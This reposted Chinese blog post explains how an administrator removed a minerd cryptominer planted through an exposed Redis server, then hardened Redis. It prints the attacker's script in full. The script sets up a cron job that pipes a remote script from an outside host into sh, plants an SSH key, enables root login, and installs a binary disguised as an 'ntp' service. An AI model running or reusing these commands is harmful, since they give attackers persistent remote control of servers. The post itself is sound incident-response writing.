redis后门导致被挖矿minerd解决办法



参考链接:http://www.cnblogs.com/zhouto/p/5680594.html


本次产生挖矿minerd***的主要原因是由于redis的漏洞造成;
redis安全:http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/


在服务器中执行 top 查询,发现有minerd进程占用CPU达到90%多;


ps -aux|grep minerd#直接kill掉该进程,发现十几秒中又起来的,重复几次发现kill不掉!!

重现找原因,在计划任务“ crontab -l”发现有个网络端的执行脚本操作;



发现该进程的计划任务,同时复制该链接,可以下载该脚本,脚本内容如下:


export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin


echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root


if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
mkdir -p ~/.ssh
rm -f ~/.ssh/authorized_keys*
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
/etc/init.d/sshd restart
fi


if [ ! -f "/etc/init.d/ntp" ]; then
if [ ! -f "/etc/systemd/system/ntp.service" ]; then
mkdir -p /opt
curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Install
fi
fi


/etc/init.d/ntp start


ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9




执行crontab -r 清除计划任务,并重启crond服务;#此时发现还是没有用,该进程在kill掉,依然自动重启消耗CPU;继续查找原因


开始从脚本下手:
1、chmod -x minerd#先将该命令的执行权限去掉,先不要不要删除,否则还会自动生成;
【redis后门导致被挖矿minerd解决办法】2、kill 掉minerd的进程;
3、删除KHK75NEOiq33 和minerd文件在同一目录下

4、删除 /var/spool/cron/root和 /var/spool/cron/crontabs/root 脚本文件;
5、去sshd的主配置文件中将脚本中追加的内容删除:
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
删除后,重启sshd服务;
6、删除~/.ssh/KHK75NEOiq ;
7、后来在/etc/init.d/ 发现可以服务ntp ,该***程序注册了一个“ntp”的服务,而且还是开机启动,这里的ntp并非时间服务器的启动脚本;
/etc/init.d/ntp stop#停掉服务,设置不要开机自启;
chkconfig ntp off#删除开机自启;
完成之后删除ntp 文件;
8、删除minerd文件


此时在观察,挖矿minerd已经不再重启了,CPU使用了恢复正常!


解决minerd并不是最终的目的,主要是要查找问题根源,我的服务器问题出在了redis服务了,***利用了redis的一个漏洞获得了服务器的访问权限,
参见连接:http://blog.jobbole.com/94518/
然后就注入了病毒;


下面是解决办法和清除工作


1. 修复 redis 的后门,

  • 配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.
  • 配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
  • 配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给***者使用config指令加大难度
  • 好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如conf


2. 打开 ~/.ssh/authorized_keys,有的是known_hosts文件, 删除你不认识的账号


3. 查看你的用户列表,是不是有你不认识的用户添加进来。 如果有就删除掉.


这里仔细分析这个脚本就可以解决这个挖矿minerd漏洞,主要在根本上解决,做好redis的安全工作!


转载于:https://blog.51cto.com/11019859/1850771

    推荐阅读